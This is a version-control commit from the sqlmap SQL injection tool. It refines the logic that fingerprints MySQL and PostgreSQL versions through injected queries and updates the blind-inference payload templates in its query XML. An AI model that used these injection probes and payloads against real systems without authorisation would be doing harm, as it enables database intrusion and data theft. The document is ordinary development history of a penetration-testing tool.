Updated the database management system fingerprint checks to correctly identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3

This commit is contained in:
Bernardo Damele 2008-10-29 15:32:12 +00:00
parent a19229cbd8
commit 7ad9639ed0
4 changed files with 69 additions and 22 deletions

View File

@ -11,6 +11,8 @@ sqlmap (0.6.2-1) stable; urgency=low
not 'public' schema or a system database; not 'public' schema or a system database;
* Minor improvement to be able to dump entries on MySQL < 5.0 when * Minor improvement to be able to dump entries on MySQL < 5.0 when
database name, table name and column(s) are provided; database name, table name and column(s) are provided;
* Updated the database management system fingerprint checks to correctly
identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
* Minor code restyling. * Minor code restyling.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 1 Nov 2008 10:00:00 +0100 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 1 Nov 2008 10:00:00 +0100

View File

@ -132,15 +132,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
return None return None
# MySQL valid versions updated at 07/2008 # MySQL valid versions updated at 10/2008
versions = ( versions = (
(32200, 32233), # MySQL 3.22 (32200, 32233), # MySQL 3.22
(32300, 32354), # MySQL 3.23 (32300, 32354), # MySQL 3.23
(40000, 40024), # MySQL 4.0 (40000, 40024), # MySQL 4.0
(40100, 40122), # MySQL 4.1 (40100, 40122), # MySQL 4.1
(50000, 50067), # MySQL 5.0 (50000, 50072), # MySQL 5.0
(50100, 50126), # MySQL 5.1 (50100, 50129), # MySQL 5.1
(60000, 60006), # MySQL 6.0 (60000, 60008), # MySQL 6.0
) )
for element in versions: for element in versions:
@ -202,6 +202,14 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
def checkDbms(self): def checkDbms(self):
"""
References for fingerprint:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html
* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html
"""
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("MySQL %s" % kb.dbmsVersion[0]) setDbms("MySQL %s" % kb.dbmsVersion[0])
@ -229,11 +237,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
return False return False
query = "SELECT %s " % randInt # Determine if it is MySQL >= 5.0.0
query += "FROM information_schema.TABLES " if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt) == randInt:
query += "LIMIT 0, 1"
if inject.getValue(query) == randInt:
setDbms("MySQL 5") setDbms("MySQL 5")
self.has_information_schema = True self.has_information_schema = True
@ -241,18 +246,47 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
kb.dbmsVersion = [">= 5.0.0"] kb.dbmsVersion = [">= 5.0.0"]
return True return True
self.currentDb = inject.getValue("DATABASE()") # Check if it is MySQL >= 6.0.3
if self.currentDb == inject.getValue("SCHEMA()"): if inject.getValue("SELECT %s FROM information_schema.PARAMETERS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.0.2", "< 5.1"] if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 6.0.5"]
query = "SELECT %s " % randInt
query += "FROM information_schema.PARTITIONS "
query += "LIMIT 0, 1"
if inject.getValue(query) == randInt:
kb.dbmsVersion = [">= 5.1"]
else: else:
kb.dbmsVersion = ["= 5.0.0 or 5.0.1"] kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"]
# Or if it MySQL >= 5.1.2 and < 6.0.3
elif inject.getValue("MID(@@plugin_dir, 1, 1)"):
if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.28", "< 6.0.3"]
elif inject.getValue("MID(@@innodb_stats_on_metadata, 1, 1)"):
kb.dbmsVersion = [">= 5.1.17", "< 5.1.28"]
elif inject.getValue("SELECT %s FROM information_schema.REFERENTIAL_CONSTRAINTS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.10", "< 5.1.17"]
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.7", "< 5.1.10"]
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = ["= 5.1.6"]
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
kb.dbmsVersion = [">= 5.1.3", "< 5.1.5"]
else:
kb.dbmsVersion = ["= 5.1.2"]
# Or if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.getValue("MID(@@hostname, 1, 1)"):
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
# NOTE: MySQL 5.0.12 introduced SLEEP() function
# References:
# * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
# * http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
else:
kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
# Otherwise assume it is MySQL < 5.0.0
else: else:
setDbms("MySQL 4") setDbms("MySQL 4")
kb.dbmsVersion = ["< 5.0.0"] kb.dbmsVersion = ["< 5.0.0"]
@ -260,7 +294,9 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
# Check which version of MySQL , 5.0.0 it is
coercibility = inject.getValue("COERCIBILITY(USER())") coercibility = inject.getValue("COERCIBILITY(USER())")
if coercibility == "3": if coercibility == "3":
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"] kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
elif coercibility == "2": elif coercibility == "2":

View File

@ -137,6 +137,10 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
def checkDbms(self): def checkDbms(self):
"""
Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html
"""
if conf.dbms in PGSQL_ALIASES: if conf.dbms in PGSQL_ALIASES:
setDbms("PostgreSQL") setDbms("PostgreSQL")
@ -166,8 +170,13 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
if inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)") == "2": transTimeCasted = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)") in ( "1", "2" )
kb.dbmsVersion = [">= 8.2.0"] transTime = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)") in ( "1", "2" )
if transTimeCasted and not transTime:
kb.dbmsVersion = [">= 8.3.0"]
elif transTime:
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
elif inject.getValue("GREATEST(5, 9, 1)") == "9": elif inject.getValue("GREATEST(5, 9, 1)") == "9":
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"] kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)") == "3": elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)") == "3":

View File

@ -110,8 +110,8 @@
<limitstring query=" OFFSET "/> <limitstring query=" OFFSET "/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
<substring query="SUBSTR((%s), %d, %d)"/> <substring query="SUBSTR((%s)::text, %d, %d)"/>
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
<banner query="VERSION()"/> <banner query="VERSION()"/>
<current_user query="CURRENT_USER"/> <current_user query="CURRENT_USER"/>
<current_db query="CURRENT_DATABASE()"/> <current_db query="CURRENT_DATABASE()"/>